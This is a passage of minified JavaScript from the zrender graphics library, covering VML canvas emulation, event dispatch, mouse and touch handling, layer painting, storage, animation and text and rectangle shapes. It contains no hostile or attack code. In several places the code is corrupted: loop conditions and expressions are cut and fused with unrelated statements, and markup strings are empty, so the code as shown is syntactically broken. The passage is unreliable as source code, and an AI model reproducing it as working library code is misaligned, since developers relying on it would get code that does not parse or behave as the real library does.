        "),this.element_.insertAdjacentHTML("BeforeEnd",p.join(""))},Z.stroke=function(e){var t=[],i=10,n=10;t.push("o.x)&&(o.x=l.x),(null==a.y||l.yo.y)&&(o.y=l.y))}t.push(' ">'),e?_(this,t,a,o):x(this,t),t.push(""),this.element_.insertAdjacentHTML("beforeEnd",t.join(""))},Z.fill=function(){this.stroke(!0)},Z.closePath=function(){this.currentPath_.push({type:"close"})},Z.save=function(){var e={};h(this,e),this.aStack_.push(e),this.mStack_.push(this.m_),this.m_=l(s(),this.m_)},Z.restore=function(){this.aStack_.length&&(h(this.aStack_.pop(),this),this.m_=this.mStack_.pop())},Z.translate=function(e,t){var i=[[1,0,0],[0,1,0],[e,t,1]];X(this,l(i,this.m_),!1)},Z.rotate=function(e){var t=F(e),i=E(e),n=[[t,i,0],[-i,t,0],[0,0,1]];X(this,l(n,this.m_),!1)},Z.scale=function(e,t){var i=[[e,0,0],[0,t,0],[0,0,1]];X(this,l(i,this.m_),!0)},Z.transform=function(e,t,i,n,a,o){var r=[[e,t,0],[i,n,0],[a,o,1]];X(this,l(r,this.m_),!0)},Z.setTransform=function(e,t,i,n,a,o){var r=[[e,t,0],[i,n,0],[a,o,1]];X(this,r,!0)},Z.drawText_=function(e,t,n,a,o){var r=this.m_,s=1e3,l=0,h=s,m={x:0,y:0},V=[],U=y(u(this.font),this.element_),d=g(U),p=this.element_.currentStyle,c=this.textAlign.toLowerCase();switch(c){case"left":case"center":case"right":break;case"end":c="ltr"==p.direction?"right":"left";break;case"start":c="rtl"==p.direction?"right":"left";break;default:c="left"}switch(this.textBaseline){case"hanging":case"top":m.y=U.size/1.75;break;case"middle":break;default:case null:case"alphabetic":case"ideographic":case"bottom":m.y=-U.size/2.25}switch(c){case"right":l=s,h=.05;break;case"center":l=h=s/2}var b=L(this,t+m.x,n+m.y);V.push(''),o?x(this,V):_(this,V,{x:-l,y:0},{x:h,y:U.size});var f=r[0][0].toFixed(3)+","+r[1][0].toFixed(3)+","+r[0][1].toFixed(3)+","+r[1][1].toFixed(3)+",0,0",k=S(b.x/A)+","+S(b.y/A);V.push('','',''),this.element_.insertAdjacentHTML("beforeEnd",V.join(""))},Z.fillText=function(e,t,i,n){this.drawText_(e,t,i,n,!1)},Z.strokeText=function(e,t,i,n){this.drawText_(e,t,i,n,!0)},Z.measureText=function(e){if(!this.textMeasureEl_){var t='';this.element_.insertAdjacentHTML("beforeEnd",t),this.textMeasureEl_=this.element_.lastChild}var i=this.element_.ownerDocument;this.textMeasureEl_.innerHTML="";try{this.textMeasureEl_.style.font=this.font}catch(n){}return this.textMeasureEl_.appendChild(i.createTextNode(e)),{width:this.textMeasureEl_.offsetWidth}},Z.clip=function(){},Z.arcTo=function(){},Z.createPattern=function(e,t){return new w(e,t)},v.prototype.addColorStop=function(e,t){t=c(t),this.colors_.push({offset:e,color:t.color,alpha:t.alpha})};var q=J.prototype=new Error;q.INDEX_SIZE_ERR=1,q.DOMSTRING_SIZE_ERR=2,q.HIERARCHY_REQUEST_ERR=3,q.WRONG_DOCUMENT_ERR=4,q.INVALID_CHARACTER_ERR=5,q.NO_DATA_ALLOWED_ERR=6,q.NO_MODIFICATION_ALLOWED_ERR=7,q.NOT_FOUND_ERR=8,q.NOT_SUPPORTED_ERR=9,q.INUSE_ATTRIBUTE_ERR=10,q.INVALID_STATE_ERR=11,q.SYNTAX_ERR=12,q.INVALID_MODIFICATION_ERR=13,q.NAMESPACE_ERR=14,q.INVALID_ACCESS_ERR=15,q.VALIDATION_ERR=16,q.TYPE_MISMATCH_ERR=17,G_vmlCanvasManager=P,CanvasRenderingContext2D=f,CanvasGradient=v,CanvasPattern=w,DOMException=J}(),G_vmlCanvasManager}),i("zrender/mixin/Eventful",["require"],function(){var e=function(){this._handlers={}};return e.prototype.one=function(e,t,i){var n=this._handlers;return t&&e?(n[e]||(n[e]=[]),n[e].push({h:t,one:!0,ctx:i||this}),this):this},e.prototype.bind=function(e,t,i){var n=this._handlers;return t&&e?(n[e]||(n[e]=[]),n[e].push({h:t,one:!1,ctx:i||this}),this):this},e.prototype.unbind=function(e,t){var i=this._handlers;if(!e)return this._handlers={},this;if(t){if(i[e]){for(var n=[],a=0,o=i[e].length;o>a;a++)i[e][a].h!=t&&n.push(i[e][a]);i[e]=n}i[e]&&0===i[e].length&&delete i[e]}else delete i[e];return this},e.prototype.dispatch=function(e){if(this._handlers[e]){var t=arguments,i=t.length;i>3&&(t=Array.prototype.slice.call(t,1));for(var n=this._handlers[e],a=n.length,o=0;a>o;){switch(i){case 1:n[o].h.call(n[o].ctx);break;case 2:n[o].h.call(n[o].ctx,t[1]);break;case 3:n[o].h.call(n[o].ctx,t[1],t[2]);break;default:n[o].h.apply(n[o].ctx,t)}n[o].one?(n.splice(o,1),a--):o++}}return this},e.prototype.dispatchWithContext=function(e){if(this._handlers[e]){var t=arguments,i=t.length;i>4&&(t=Array.prototype.slice.call(t,1,t.length-1));for(var n=t[t.length-1],a=this._handlers[e],o=a.length,r=0;o>r;){switch(i){case 1:a[r].h.call(n);break;case 2:a[r].h.call(n,t[1]);break;case 3:a[r].h.call(n,t[1],t[2]);break;default:a[r].h.apply(n,t)}a[r].one?(a.splice(r,1),o--):r++}}return this},e}),i("zrender/tool/log",["require","../config"],function(e){var t=e("../config");return function(){if(0!==t.debugMode)if(1==t.debugMode)for(var e in arguments)throw new Error(arguments[e]);else if(t.debugMode>1)for(var e in arguments)console.log(arguments[e])}}),i("zrender/tool/guid",[],function(){var e=2311;return function(){return"zrender__"+e++}}),i("zrender/Handler",["require","./config","./tool/env","./tool/event","./tool/util","./tool/vector","./tool/matrix","./mixin/Eventful"],function(e){"use strict";function t(e,t){return function(i,n){return e.call(t,i,n)}}function i(e,t){return function(i,n,a){return e.call(t,i,n,a)}}function n(e){for(var i=d.length;i--;){var n=d[i];e["_"+n+"Handler"]=t(c[n],e)}}function a(e,t,i){if(this._draggingTarget&&this._draggingTarget.id==e.id||e.isSilent())return!1;var n=this._event;if(e.isCover(t,i)){e.hoverable&&this.storage.addHover(e);for(var a=e.parent;a;){if(a.clipShape&&!a.clipShape.isCover(this._mouseX,this._mouseY))return!1;a=a.parent}return this._lastHover!=e&&(this._processOutShape(n),this._processDragLeave(n),this._lastHover=e,this._processDragEnter(n)),this._processOverShape(n),this._processDragOver(n),this._hasfound=1,!0}return!1}var o=e("./config"),r=e("./tool/env"),s=e("./tool/event"),l=e("./tool/util"),h=e("./tool/vector"),m=e("./tool/matrix"),V=o.EVENT,U=e("./mixin/Eventful"),d=["resize","click","dblclick","mousewheel","mousemove","mouseout","mouseup","mousedown","touchstart","touchend","touchmove"],p=function(e){if(window.G_vmlCanvasManager)return!0;e=e||window.event;var t=e.toElement||e.relatedTarget||e.srcElement||e.target;return t&&t.className.match(o.elementClassName)},c={resize:function(e){e=e||window.event,this._lastHover=null,this._isMouseDown=0,this.dispatch(V.RESIZE,e)},click:function(e,t){if(p(e)||t){e=this._zrenderEventFixed(e);var i=this._lastHover;(i&&i.clickable||!i)&&this._clickThreshold<5&&this._dispatchAgency(i,V.CLICK,e),this._mousemoveHandler(e)}},dblclick:function(e,t){if(p(e)||t){e=e||window.event,e=this._zrenderEventFixed(e);var i=this._lastHover;(i&&i.clickable||!i)&&this._clickThreshold<5&&this._dispatchAgency(i,V.DBLCLICK,e),this._mousemoveHandler(e)}},mousewheel:function(e,t){if(p(e)||t){e=this._zrenderEventFixed(e);var i=e.wheelDelta||-e.detail,n=i>0?1.1:1/1.1,a=!1,o=this._mouseX,r=this._mouseY;this.painter.eachBuildinLayer(function(t){var i=t.position;if(t.zoomable){t.__zoom=t.__zoom||1;var l=t.__zoom;l*=n,l=Math.max(Math.min(t.maxZoom,l),t.minZoom),n=l/t.__zoom,t.__zoom=l,i[0]-=(o-i[0])*(n-1),i[1]-=(r-i[1])*(n-1),t.scale[0]*=n,t.scale[1]*=n,t.dirty=!0,a=!0,s.stop(e)}}),a&&this.painter.refresh(),this._dispatchAgency(this._lastHover,V.MOUSEWHEEL,e),this._mousemoveHandler(e)}},mousemove:function(e,t){if((p(e)||t)&&!this.painter.isLoading()){e=this._zrenderEventFixed(e),this._lastX=this._mouseX,this._lastY=this._mouseY,this._mouseX=s.getX(e),this._mouseY=s.getY(e);var i=this._mouseX-this._lastX,n=this._mouseY-this._lastY;this._processDragStart(e),this._hasfound=0,this._event=e,this._iterateAndFindHover(),this._hasfound||((!this._draggingTarget||this._lastHover&&this._lastHover!=this._draggingTarget)&&(this._processOutShape(e), +this._processDragLeave(e)),this._lastHover=null,this.storage.delHover(),this.painter.clearHover());var a="default";if(this._draggingTarget)this.storage.drift(this._draggingTarget.id,i,n),this._draggingTarget.modSelf(),this.storage.addHover(this._draggingTarget),this._clickThreshold++;else if(this._isMouseDown){var o=!1;this.painter.eachBuildinLayer(function(e){e.panable&&(a="move",e.position[0]+=i,e.position[1]+=n,o=!0,e.dirty=!0)}),o&&this.painter.refresh()}this._draggingTarget||this._hasfound&&this._lastHover.draggable?a="move":this._hasfound&&this._lastHover.clickable&&(a="pointer"),this.root.style.cursor=a,this._dispatchAgency(this._lastHover,V.MOUSEMOVE,e),(this._draggingTarget||this._hasfound||this.storage.hasHoverShape())&&this.painter.refreshHover()}},mouseout:function(e,t){if(p(e)||t){e=this._zrenderEventFixed(e);var i=e.toElement||e.relatedTarget;if(i!=this.root)for(;i&&9!=i.nodeType;){if(i==this.root)return void this._mousemoveHandler(e);i=i.parentNode}e.zrenderX=this._lastX,e.zrenderY=this._lastY,this.root.style.cursor="default",this._isMouseDown=0,this._processOutShape(e),this._processDrop(e),this._processDragEnd(e),this.painter.isLoading()||this.painter.refreshHover(),this.dispatch(V.GLOBALOUT,e)}},mousedown:function(e,t){if(p(e)||t){if(this._clickThreshold=0,2==this._lastDownButton)return this._lastDownButton=e.button,void(this._mouseDownTarget=null);this._lastMouseDownMoment=new Date,e=this._zrenderEventFixed(e),this._isMouseDown=1,this._mouseDownTarget=this._lastHover,this._dispatchAgency(this._lastHover,V.MOUSEDOWN,e),this._lastDownButton=e.button}},mouseup:function(e,t){(p(e)||t)&&(e=this._zrenderEventFixed(e),this.root.style.cursor="default",this._isMouseDown=0,this._mouseDownTarget=null,this._dispatchAgency(this._lastHover,V.MOUSEUP,e),this._processDrop(e),this._processDragEnd(e))},touchstart:function(e,t){(p(e)||t)&&(e=this._zrenderEventFixed(e,!0),this._lastTouchMoment=new Date,this._mobileFindFixed(e),this._mousedownHandler(e))},touchmove:function(e,t){(p(e)||t)&&(e=this._zrenderEventFixed(e,!0),this._mousemoveHandler(e),this._isDragging&&s.stop(e))},touchend:function(e,t){if(p(e)||t){e=this._zrenderEventFixed(e,!0),this._mouseupHandler(e);var i=new Date;i-this._lastTouchMoment=0;o--){var r=n[o];if(t!==r.zlevel&&(i=this.painter.getLayer(r.zlevel,i),a[0]=this._mouseX,a[1]=this._mouseY,i.needTransform&&(m.invert(e,i.transform),h.applyTransform(a,a,e))),this._findHover(r,a[0],a[1]))break}}}();var y=[{x:10},{x:-20},{x:10,y:10},{y:-20}];return u.prototype._mobileFindFixed=function(e){this._lastHover=null,this._mouseX=e.zrenderX,this._mouseY=e.zrenderY,this._event=e,this._iterateAndFindHover();for(var t=0;!this._lastHover&&ts;s++){var h=e[s];if(n!==h.zlevel&&(i&&(i.needTransform&&o.restore(),o.flush&&o.flush()),n=h.zlevel,i=this.getLayer(n),i.isBuildin||r("ZLevel "+n+" has been used by unkown layer "+i.id),o=i.ctx,i.unusedCount=0,(i.dirty||t)&&i.clear(),i.needTransform&&(o.save(),i.setTransform(o))),(i.dirty||t)&&!h.invisible&&(!h.onbrush||h.onbrush&&!h.onbrush(o,!1)))if(a.catchBrushException)try{h.brush(o,!1,this.refreshNextFrame)}catch(m){r(m,"brush error of "+h.type,h)}else h.brush(o,!1,this.refreshNextFrame);h.__dirty=!1}i&&(i.needTransform&&o.restore(),o.flush&&o.flush()),this.eachBuildinLayer(this._postProcessLayer)},h.prototype.getLayer=function(e){var t=this._layers[e];return t||(t=new l(e,this),t.isBuildin=!0,this._layerConfig[e]&&o.merge(t,this._layerConfig[e],!0),t.updateTransform(),this.insertLayer(e,t),t.initContext()),t},h.prototype.insertLayer=function(e,t){if(this._layers[e])return void r("ZLevel "+e+" has been used already");if(!n(t))return void r("Layer of zlevel "+e+" is not valid");var i=this._zlevelList.length,a=null,o=-1;if(i>0&&e>this._zlevelList[0]){for(o=0;i-1>o&&!(this._zlevelList[o]e);o++);a=this._layers[this._zlevelList[o]]}this._zlevelList.splice(o+1,0,e);var s=a?a.dom:this._bgDom;s.nextSibling?s.parentNode.insertBefore(t.dom,s.nextSibling):s.parentNode.appendChild(t.dom),this._layers[e]=t},h.prototype.eachLayer=function(e,t){for(var i=0;in;n++){var o=e[n],r=o.zlevel,s=t[r];if(s){if(s.elCount++,s.dirty)continue;s.dirty=o.__dirty}}this.eachBuildinLayer(function(e,t){i[t]!==e.elCount&&(e.dirty=!0)})},h.prototype.refreshShapes=function(e,t){for(var i=0,n=e.length;n>i;i++){var a=e[i];a.modSelf()}return this.refresh(t),this},h.prototype.setLoadingEffect=function(e){return this._loadingEffect=e,this},h.prototype.clear=function(){return this.eachBuildinLayer(this._clearLayer),this},h.prototype._clearLayer=function(e){e.clear()},h.prototype.modLayer=function(e,t){if(t){this._layerConfig[e]?o.merge(this._layerConfig[e],t,!0):this._layerConfig[e]=t;var i=this._layers[e];i&&o.merge(i,this._layerConfig[e],!0)}},h.prototype.delLayer=function(e){var t=this._layers[e];t&&(this.modLayer(e,{position:t.position,rotation:t.rotation,scale:t.scale}),t.dom.parentNode.removeChild(t.dom),delete this._layers[e],this._zlevelList.splice(o.indexOf(this._zlevelList,e),1))},h.prototype.refreshHover=function(){this.clearHover();for(var e=this.storage.getHoverShapes(!0),t=0,i=e.length;i>t;t++)this._brushHover(e[t]);var n=this._layers.hover.ctx;return n.flush&&n.flush(),this.storage.delHover(),this},h.prototype.clearHover=function(){var e=this._layers.hover;return e&&e.clear(),this},h.prototype.showLoading=function(e){return this._loadingEffect&&this._loadingEffect.stop(),e&&this.setLoadingEffect(e),this._loadingEffect.start(this),this.loading=!0,this},h.prototype.hideLoading=function(){return this._loadingEffect.stop(),this.clearHover(),this.loading=!1,this},h.prototype.isLoading=function(){return this.loading},h.prototype.resize=function(){var e=this._domRoot;e.style.display="none";var t=this._getWidth(),i=this._getHeight();if(e.style.display="",this._width!=t||i!=this._height){this._width=t,this._height=i,e.style.width=t+"px",e.style.height=i+"px";for(var n in this._layers)this._layers[n].resize(t,i);this.refresh(null,!0)}return this},h.prototype.clearLayer=function(e){var t=this._layers[e];t&&t.clear()},h.prototype.dispose=function(){this.isLoading()&&this.hideLoading(),this.root.innerHTML="",this.root=this.storage=this._domRoot=this._layers=null},h.prototype.getDomHover=function(){return this._layers.hover.dom},h.prototype.toDataURL=function(e,t,i){if(window.G_vmlCanvasManager)return null;var n=new l("image",this);this._bgDom.appendChild(n.dom),n.initContext();var o=n.ctx;n.clearColor=t||"#fff",n.clear();var s=this;this.storage.iterShape(function(e){if(!e.invisible&&(!e.onbrush||e.onbrush&&!e.onbrush(o,!1)))if(a.catchBrushException)try{e.brush(o,!1,s.refreshNextFrame)}catch(t){r(t,"brush error of "+e.type,e)}else e.brush(o,!1,s.refreshNextFrame)},{normal:"up",update:!0});var h=n.dom.toDataURL(e,i);return o=null,this._bgDom.removeChild(n.dom),h},h.prototype.getWidth=function(){return this._width},h.prototype.getHeight=function(){return this._height},h.prototype._getWidth=function(){var e=this.root,t=e.currentStyle||document.defaultView.getComputedStyle(e);return((e.clientWidth||parseInt(t.width,10))-parseInt(t.paddingLeft,10)-parseInt(t.paddingRight,10)).toFixed(0)-0},h.prototype._getHeight=function(){var e=this.root,t=e.currentStyle||document.defaultView.getComputedStyle(e);return((e.clientHeight||parseInt(t.height,10))-parseInt(t.paddingTop,10)-parseInt(t.paddingBottom,10)).toFixed(0)-0},h.prototype._brushHover=function(e){var t=this._layers.hover.ctx;if(!e.onbrush||e.onbrush&&!e.onbrush(t,!0)){var i=this.getLayer(e.zlevel);if(i.needTransform&&(t.save(),i.setTransform(t)),a.catchBrushException)try{e.brush(t,!0,this.refreshNextFrame)}catch(n){r(n,"hoverBrush error of "+e.type,e)}else e.brush(t,!0,this.refreshNextFrame);i.needTransform&&t.restore()}},h.prototype._shapeToImage=function(t,i,n,a,o){var r=document.createElement("canvas"),s=r.getContext("2d");r.style.width=n+"px",r.style.height=a+"px",r.setAttribute("width",n*o),r.setAttribute("height",a*o),s.clearRect(0,0,n*o,a*o);var l={position:i.position,rotation:i.rotation,scale:i.scale};i.position=[0,0,0],i.rotation=0,i.scale=[1,1],i&&i.brush(s,!1);var h=e("./shape/Image"),m=new h({id:t,style:{x:0,y:0,image:r}});return null!=l.position&&(m.position=i.position=l.position),null!=l.rotation&&(m.rotation=i.rotation=l.rotation),null!=l.scale&&(m.scale=i.scale=l.scale),m},h.prototype._createShapeToImageProcessor=function(){if(window.G_vmlCanvasManager)return i;var e=this;return function(t,i,n,o){return e._shapeToImage(t,i,n,o,a.devicePixelRatio)}},h}),i("zrender/Storage",["require","./tool/util","./Group"],function(e){"use strict";function t(e,t){return e.zlevel==t.zlevel?e.z==t.z?e.__renderidx-t.__renderidx:e.z-t.z:e.zlevel-t.zlevel}var i=e("./tool/util"),n=e("./Group"),a={hover:!1,normal:"down",update:!1},o=function(){this._elements={},this._hoverElements=[],this._roots=[],this._shapeList=[],this._shapeListOffset=0};return o.prototype.iterShape=function(e,t){if(t||(t=a),t.hover)for(var i=0,n=this._hoverElements.length;n>i;i++){var o=this._hoverElements[i];if(o.updateTransform(),e(o))return this}switch(t.update&&this.updateShapeList(),t.normal){case"down":for(var n=this._shapeList.length;n--;)if(e(this._shapeList[n]))return this;break;default:for(var i=0,n=this._shapeList.length;n>i;i++)if(e(this._shapeList[i]))return this}return this},o.prototype.getHoverShapes=function(e){for(var i=[],n=0,a=this._hoverElements.length;a>n;n++){i.push(this._hoverElements[n]);var o=this._hoverElements[n].hoverConnect;if(o){var r;o=o instanceof Array?o:[o];for(var s=0,l=o.length;l>s;s++)r=o[s].id?o[s]:this.get(o[s]),r&&i.push(r)}}if(i.sort(t),e)for(var n=0,a=i.length;a>n;n++)i[n].updateTransform();return i},o.prototype.getShapeList=function(e){return e&&this.updateShapeList(),this._shapeList},o.prototype.updateShapeList=function(){this._shapeListOffset=0;for(var e=0,i=this._roots.length;i>e;e++){var n=this._roots[e];this._updateAndAddShape(n)}this._shapeList.length=this._shapeListOffset;for(var e=0,i=this._shapeList.length;i>e;e++)this._shapeList[e].__renderidx=e;this._shapeList.sort(t)},o.prototype._updateAndAddShape=function(e,t){if(!e.ignore)if(e.updateTransform(),e.clipShape&&(e.clipShape.parent=e,e.clipShape.updateTransform(),t?(t=t.slice(),t.push(e.clipShape)):t=[e.clipShape]),"group"==e.type){for(var i=0;i0},o.prototype.addRoot=function(e){this._elements[e.id]||(e instanceof n&&e.addChildrenToStorage(this),this.addToMap(e),this._roots.push(e))},o.prototype.delRoot=function(e){if("undefined"==typeof e){for(var t=0;tt;t++)this.delRoot(e[t]);else{var r;r="string"==typeof e?this._elements[e]:e;var s=i.indexOf(this._roots,r);s>=0&&(this.delFromMap(r.id),this._roots.splice(s,1),r instanceof n&&r.delChildrenFromStorage(this))}},o.prototype.addToMap=function(e){return e instanceof n&&(e._storage=this),e.modSelf(),this._elements[e.id]=e,this},o.prototype.get=function(e){return this._elements[e]},o.prototype.delFromMap=function(e){var t=this._elements[e];return t&&(delete this._elements[e],t instanceof n&&(t._storage=null)),this},o.prototype.dispose=function(){this._elements=this._renderList=this._roots=this._hoverElements=null},o}),i("zrender/animation/Animation",["require","./Clip","../tool/color","../tool/util","../tool/event"],function(e){"use strict";function t(e,t){return e[t]}function i(e,t,i){e[t]=i}function n(e,t,i){return(t-e)*i+e}function a(e,t,i,a,o){var r=e.length;if(1==o)for(var s=0;r>s;s++)a[s]=n(e[s],t[s],i);else for(var l=e[0].length,s=0;r>s;s++)for(var h=0;l>h;h++)a[s][h]=n(e[s][h],t[s][h],i)}function o(e){switch(typeof e){case"undefined":case"string":return!1}return"undefined"!=typeof e.length}function r(e,t,i,n,a,o,r,l,h){var m=e.length;if(1==h)for(var V=0;m>V;V++)l[V]=s(e[V],t[V],i[V],n[V],a,o,r);else for(var U=e[0].length,V=0;m>V;V++)for(var d=0;U>d;d++)l[V][d]=s(e[V][d],t[V][d],i[V][d],n[V][d],a,o,r)}function s(e,t,i,n,a,o,r){var s=.5*(i-e),l=.5*(n-t);return(2*(t-i)+s+l)*r+(-3*(t-i)-2*s-l)*o+s*a+t}function l(e){if(o(e)){var t=e.length;if(o(e[0])){for(var i=[],n=0;t>n;n++)i.push(c.call(e[n]));return i}return c.call(e)}return e}function h(e){return e[0]=Math.floor(e[0]),e[1]=Math.floor(e[1]),e[2]=Math.floor(e[2]),"rgba("+e.join(",")+")"}var m=e("./Clip"),V=e("../tool/color"),U=e("../tool/util"),d=e("../tool/event").Dispatcher,p=window.requestAnimationFrame||window.msRequestAnimationFrame||window.mozRequestAnimationFrame||window.webkitRequestAnimationFrame||function(e){setTimeout(e,16)},c=Array.prototype.slice,u=function(e){e=e||{},this.stage=e.stage||{},this.onframe=e.onframe||function(){},this._clips=[],this._running=!1,this._time=0,d.call(this)};u.prototype={add:function(e){this._clips.push(e)},remove:function(e){if(e.__inStep)e.__needsRemove=!0;else{var t=U.indexOf(this._clips,e);t>=0&&this._clips.splice(t,1)}},_update:function(){for(var e=(new Date).getTime(),t=e-this._time,i=this._clips,n=i.length,a=[],o=[],r=0;n>r;r++){var s=i[r];s.__inStep=!0;var l=s.step(e);s.__inStep=!1,l&&(a.push(l),o.push(s))}for(var r=0;n>r;)i[r].__needsRemove?(i[r]=i[n-1],i.pop(),n--):r++;n=a.length;for(var r=0;n>r;r++)o[r].fire(a[r]);this._time=e,this.onframe(t),this.dispatch("frame",t),this.stage.update&&this.stage.update()},start:function(){function e(){t._running&&(p(e),t._update())}var t=this;this._running=!0,this._time=(new Date).getTime(),p(e)},stop:function(){this._running=!1},clear:function(){this._clips=[]},animate:function(e,t){t=t||{};var i=new y(e,t.loop,t.getter,t.setter);return i.animation=this,i},constructor:u},U.merge(u.prototype,d.prototype,!0);var y=function(e,n,a,o){this._tracks={},this._target=e,this._loop=n||!1,this._getter=a||t,this._setter=o||i,this._clipCount=0,this._delay=0,this._doneList=[],this._onframeList=[],this._clipList=[]};return y.prototype={when:function(e,t){for(var i in t)this._tracks[i]||(this._tracks[i]=[],0!==e&&this._tracks[i].push({time:0,value:l(this._getter(this._target,i))})),this._tracks[i].push({time:parseInt(e,10),value:t[i]});return this},during:function(e){return this._onframeList.push(e),this},start:function(e){var t=this,i=this._setter,l=this._getter,U="spline"===e,d=function(){if(t._clipCount--,0===t._clipCount){t._tracks={};for(var e=t._doneList.length,i=0;e>i;i++)t._doneList[i].call(t)}},p=function(p,c){var u=p.length;if(u){var y=p[0].value,g=o(y),b=!1,f=g&&o(y[0])?2:1;p.sort(function(e,t){return e.time-t.time});var k;if(u){k=p[u-1].time;for(var x=[],_=[],L=0;u>L;L++){x.push(p[L].time/k);var W=p[L].value;"string"==typeof W&&(W=V.toArray(W),0===W.length&&(W[0]=W[1]=W[2]=0,W[3]=1),b=!0),_.push(W)}var X,L,v,w,K,I,J,C=0,S=0;if(b)var E=[0,0,0,0];var F=function(e,o){if(S>o){for(X=Math.min(C+1,u-1),L=X;L>=0&&!(x[L]<=o);L--);L=Math.min(L,u-2)}else{for(L=C;u>L&&!(x[L]>o);L++);L=Math.min(L-1,u-2)}C=L,S=o;var m=x[L+1]-x[L];if(0!==m){if(v=(o-x[L])/m,U)if(K=_[L],w=_[0===L?L:L-1],I=_[L>u-2?u-1:L+1],J=_[L>u-3?u-1:L+2],g)r(w,K,I,J,v,v*v,v*v*v,l(e,c),f);else{var V;b?(V=r(w,K,I,J,v,v*v,v*v*v,E,1),V=h(E)):V=s(w,K,I,J,v,v*v,v*v*v),i(e,c,V)}else if(g)a(_[L],_[L+1],v,l(e,c),f);else{var V;b?(a(_[L],_[L+1],v,E,1),V=h(E)):V=n(_[L],_[L+1],v),i(e,c,V)}for(L=0;L=t[1]&&(e=t[1]),e},t.prototype.getLocation=function(e,t,i){var n=null!=e.x?e.x:"center";switch(n){case"center":n=Math.floor((this.canvasWidth-t)/2);break;case"left":n=0;break;case"right":n=this.canvasWidth-t}var a=null!=e.y?e.y:"center";switch(a){case"center":a=Math.floor((this.canvasHeight-i)/2);break;case"top":a=0;break;case"bottom":a=this.canvasHeight-i}return{x:n,y:a,width:t,height:i}},t}),i("zrender/Layer",["require","./mixin/Transformable","./tool/util","./config"],function(e){function t(){return!1}function i(e,t,i){var n=document.createElement(t),a=i.getWidth(),o=i.getHeight();return n.style.position="absolute",n.style.left=0,n.style.top=0,n.style.width=a+"px",n.style.height=o+"px",n.width=a*r.devicePixelRatio,n.height=o*r.devicePixelRatio,n.setAttribute("data-zr-dom-id",e),n}var n=e("./mixin/Transformable"),a=e("./tool/util"),o=window.G_vmlCanvasManager,r=e("./config"),s=function(e,a){this.id=e,this.dom=i(e,"canvas",a),this.dom.onselectstart=t,this.dom.style["-webkit-user-select"]="none",this.dom.style["user-select"]="none",this.dom.style["-webkit-touch-callout"]="none",this.dom.style["-webkit-tap-highlight-color"]="rgba(0,0,0,0)",this.dom.className=r.elementClassName,o&&o.initElement(this.dom),this.domBack=null,this.ctxBack=null,this.painter=a,this.unusedCount=0,this.config=null,this.dirty=!0,this.elCount=0,this.clearColor=0,this.motionBlur=!1,this.lastFrameAlpha=.7,this.zoomable=!1,this.panable=!1,this.maxZoom=1/0,this.minZoom=0,n.call(this)};return s.prototype.initContext=function(){this.ctx=this.dom.getContext("2d");var e=r.devicePixelRatio;1!=e&&this.ctx.scale(e,e)},s.prototype.createBackBuffer=function(){if(!o){this.domBack=i("back-"+this.id,"canvas",this.painter),this.ctxBack=this.domBack.getContext("2d");var e=r.devicePixelRatio;1!=e&&this.ctxBack.scale(e,e)}},s.prototype.resize=function(e,t){var i=r.devicePixelRatio;this.dom.style.width=e+"px",this.dom.style.height=t+"px",this.dom.setAttribute("width",e*i),this.dom.setAttribute("height",t*i),1!=i&&this.ctx.scale(i,i),this.domBack&&(this.domBack.setAttribute("width",e*i),this.domBack.setAttribute("height",t*i),1!=i&&this.ctxBack.scale(i,i))},s.prototype.clear=function(){var e=this.dom,t=this.ctx,i=e.width,n=e.height,a=this.clearColor&&!o,s=this.motionBlur&&!o,l=this.lastFrameAlpha,h=r.devicePixelRatio;if(s&&(this.domBack||this.createBackBuffer(),this.ctxBack.globalCompositeOperation="copy",this.ctxBack.drawImage(e,0,0,i/h,n/h)),t.clearRect(0,0,i/h,n/h),a&&(t.save(),t.fillStyle=this.clearColor,t.fillRect(0,0,i/h,n/h),t.restore()),s){var m=this.domBack;t.save(),t.globalAlpha=l,t.drawImage(m,0,0,i/h,n/h),t.restore()}},a.merge(s.prototype,n.prototype),s}),i("zrender/shape/Text",["require","../tool/area","./Base","../tool/util"],function(e){ +var t=e("../tool/area"),i=e("./Base"),n=function(e){i.call(this,e)};return n.prototype={type:"text",brush:function(e,i){var n=this.style;if(i&&(n=this.getHighlightStyle(n,this.highlightStyle||{})),"undefined"!=typeof n.text&&n.text!==!1){e.save(),this.doClip(e),this.setContext(e,n),this.setTransform(e),n.textFont&&(e.font=n.textFont),e.textAlign=n.textAlign||"start",e.textBaseline=n.textBaseline||"middle";var a,o=(n.text+"").split("\n"),r=t.getTextHeight("国",n.textFont),s=this.getRect(n),l=n.x;a="top"==n.textBaseline?s.y:"bottom"==n.textBaseline?s.y+r:s.y+r/2;for(var h=0,m=o.length;m>h;h++){if(n.maxWidth)switch(n.brushType){case"fill":e.fillText(o[h],l,a,n.maxWidth);break;case"stroke":e.strokeText(o[h],l,a,n.maxWidth);break;case"both":e.fillText(o[h],l,a,n.maxWidth),e.strokeText(o[h],l,a,n.maxWidth);break;default:e.fillText(o[h],l,a,n.maxWidth)}else switch(n.brushType){case"fill":e.fillText(o[h],l,a);break;case"stroke":e.strokeText(o[h],l,a);break;case"both":e.fillText(o[h],l,a),e.strokeText(o[h],l,a);break;default:e.fillText(o[h],l,a)}a+=r}e.restore()}},getRect:function(e){if(e.__rect)return e.__rect;var i=t.getTextWidth(e.text,e.textFont),n=t.getTextHeight(e.text,e.textFont),a=e.x;"end"==e.textAlign||"right"==e.textAlign?a-=i:"center"==e.textAlign&&(a-=i/2);var o;return o="top"==e.textBaseline?e.y:"bottom"==e.textBaseline?e.y-n:e.y-n/2,e.__rect={x:a,y:o,width:i,height:n},e.__rect}},e("../tool/util").inherits(n,i),n}),i("zrender/shape/Rectangle",["require","./Base","../tool/util"],function(e){var t=e("./Base"),i=function(e){t.call(this,e)};return i.prototype={type:"rectangle",_buildRadiusPath:function(e,t){var i,n,a,o,r=t.x,s=t.y,l=t.width,h=t.height,m=t.radius;"number"==typeof m?i=n=a=o=m:m instanceof Array?1===m.length?i=n=a=o=m[0]:2===m.length?(i=a=m[0],n=o=m[1]):3===m.length?(i=m[0],n=o=m[1],a=m[2]):(i=m[0],n=m[1],a=m[2],o=m[3]):i=n=a=o=0;var 